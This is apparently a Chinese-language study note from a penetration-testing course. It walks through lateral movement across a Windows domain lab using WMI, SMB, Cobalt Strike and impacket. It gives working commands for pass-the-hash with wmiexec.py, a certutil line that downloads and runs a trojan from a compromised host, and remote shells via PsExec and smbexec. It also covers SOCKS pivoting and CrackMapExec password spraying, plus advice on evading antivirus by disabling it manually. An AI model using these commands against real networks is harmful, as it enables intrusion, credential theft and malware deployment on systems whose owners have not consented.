横向移动 - WMI、SMB

VMISMB 两种横向移动上线方式,均有套件可以直接使用且支持哈希值传递,改变文件名即可

CS 中也有 psexec 插件支持明文和 hash 的移动,密码喷洒可以周而复始的去碰撞出内网中的域内账户密码登录

# 域内信息收集

环境

以取得 3.31 权限依次渗透余下主机

  • 3.31 权限提升至 system 设置延迟为 0
  • 密码凭证读取 (明文密码和 hash 值)
  • 网络探测 — 该网段下其下存活主机
  • 检测 135 端口是否开放

# WMI

# 利用条件

1
2
3
1、WMI服务开启,端口135,默认开启。
2、防火墙允许135445等端口通信。
3、知道目标机的账户密码。

135 端口进行利用 支持用户名明文或 hash 的方式认证 并且该方法不会在目标日志系统留下痕迹

# wmic 单执行无回显

通过系统自带的命令连接对方的 IP 地址 输入账户密码; windows 自带属于横向移动白名单,不过这个命令是无回显的, 我们本地只能接收到是否成功不会看到命令完成后的效果

1
2
3
4
5
shell vmic /node:192.168.3.32 /user:administrator /password:Admin12345 process call
create "ver" // 连接对方IP地址输入账户密码 执行ver命令



vml 连接后通过远程下载,下载当前电脑磁盘下的木马文件而后执行,下面两个命令第一个下载,下载本机的 3.31 下的 beacon. exe 放置到 3.32 的 c 盘下

第二个执行


学习权限维持远控工具再回来,假设 IPC 利用凭证横向移动另一台机器实际上 CS 是会有一个文件上传的过程,上传的文件实际是后门文件 exe 后门,但是被机器的杀软拦截,就会出现下方文件上传失败的情况,

小迪说可以转变思路,替换横向上传 CS 的操作为上传远控软件,然后运行远控软件,虽然木马是会被杀软识别无法执行上线命令,但是通过凭证还是可以对横向的机器进行其他操作,比如读取文件,读取到远控运行后的啊账户密码然后物理机连接,有了桌面后手动关闭杀软再传木马进行上线

隐藏用户 远控软件维持

# cscript 交互式

自带 windos 程序交互式反弹 shell 但是不会反弹到 cs 中,执行成功后是之间返回,不会回到 CS 执行命令,适用于在系统内反弹而不是工具

1
2
C:\\windows\system32\ipconfig

# wmiexec.py-impacket 反向连接

前置上线操作就是转发流量建立节点

1
2
3
4
5
6
7
8
9
1. 建立socks节点通讯,攻击机访问3.32

2. 代理转发,生成转发监听器 木马会将流量转发回攻击机

3. 生成对应的木马文件给到3.31根目录,其他主机也可以下载

4. 攻击机对3.32执行下载木马并执行木马的命令

5. 3.32执行后 CS直接上线

套件非常方便支持 hash 明文并且执行有回显,缺点程序不是系统自带的,如需使用需要两种方法,但是一般建议方法 2 进行,方法 1 如果是上传的受到诸多因素限制,网络问题 文件过多 防火墙拦截....

  • 将程序上传至受控主机。受控主机上去调用 (风险大)
  • 受控主机建立 socks 节点,攻击机连接实现在本地通讯内网 建议此方法

hash 传递

1
2
python.exe wmiexec.py  -hashes :51xxxxxxxxxx
./adminiistrator:admin!@#45@192.168.3.32 "whoami"

# 0X01 配置代理攻击机通讯 3.32

受控主机 3.31 启动代理转发 —> socks 代理,端口为 30194,目的是攻击机通讯到 3.32

启动 Proxifier 首先配置代理服务器,地址为本机的 CS 服务端 IP 地址;端口为受控主机 3.31 转发端口

代理规则设置为只要 3.* 网段流量都经过这个规则,任意进程 任意端口

# 0X02 通讯 3.32 执行命令

配置完成攻击机可以访问 3.32 主机了,使用 wmiexec.py 脚本远程执行命令

1
python.exe wmiexec.py ./adminiistrator:admin!@#45@192.168.3.32 "whoami"

上线操作就是将这里的命令改为远程下载本机的木马文件

1
python.exe wmiexec.py ./adminiistrator:admin!@#45@192.168.3.32 "xxxx远程下载命令"

# 0X03 生成代理转发监听器木马

受控 3.31 主机右键转发上线新建监听器,这步操作和建立 socks 节点是不同的,前者是为了访问通讯建立连接,这里是为了监听后续生成的木马文件达到上线的目的

生成后面 exe 给到转发上线的监听器

# 0X04 木马 3.31 供其余主机下载

生成的反向木马 44555.exe 给到 3.31 主机根目录下,这样该网段下的其他主机也可以下载到这个木马,其他主机可以下载就可以执行去社区 生成命令

# 0X05 通讯 3.32 执行下载木马

回到攻击机通讯的 cmd 窗口替换命令为远程下次木马 44555.exe 命令并且直接执行,因为我们已经通过代理节点实现了通讯,实现了对 3.32 主机命令的执行,上传木马到 3.31 让它远程下载即可

1
2
3
python.exe wmiexec.py ./adminiistrator:admin!@#45@192.168.3.32 
"certutil.exe -urlcache -split -f http://192.168.3.31:80//44555.exe c:\44555.exe &
c:\44555.exe" // 3.32主机将远程木马下载到C盘

3.32 主机远程下载木马生效,命令包含了下载和执行

# 0X06 执行木马 CS 反向连接

CS 通过受控主机 3.31 代理节点转发成功远程下载木马执行上线操作

# SMB

# 利用条件

1
2
1445端口开放
2、知道账号密码

利用 SMB 打印机通过明文或者 hash 传递远程执行,条件 445 服务端口开放

# psExec64.exe 微软工具

交互式内部 windows 官方提供理论上不存在被杀毒

前期已经通过 socks 代理使攻击机和 3.32 建立通讯,所以这里我们直接演示效果

1
PsExec.exe \\192.168.3.32 -u administrator -p admin!#45 -s cmd  // 建立smb连接

# smbexec.py-impacket

攻击机和 3.32 通讯后运行命令

1
python smbexec.py ./administrator:admin!@#45@192.168.3.32

反弹 cmd 面板

# CS 插件

3.31 网络探测后回显出的目标列表右键可以直接选择横向移动

选择对应的账户密码及监听器,监听器的选择就是以何种方式上线

# CrackMapExec 密码喷洒

拿下主机后抓取密码凭证再去碰撞,周而复始很麻烦使用 CrackMapExec 密码碰撞解决,课程中的工具放置到 Linux 中的,显然外网 Linux 是无法和 3.32 通讯也还得是使用代理,内网环境中,密码复用率很高,一波喷洒,能助力你拿到一波主机,对拿到的主机再次抓取密码,再用新拿到的密码喷洒一波......,如此反复。密码喷洒的思路就是这样

安装软件 Proxychains Linux 代理工具完成实习

喷射使用

喷洒使用的协议是 SMB 但如果是利用 IPC WMI 进行喷洒是不行的,。 WMI 通常用于 Windows 系统管理,而 LPC 是一种本地进程间通信机制,都属于系统中的操作不在此工具中

1
proxychains cme smb 192.168.3.21-33 -u administrator -p 'admin!@#45'

更新于 阅读次数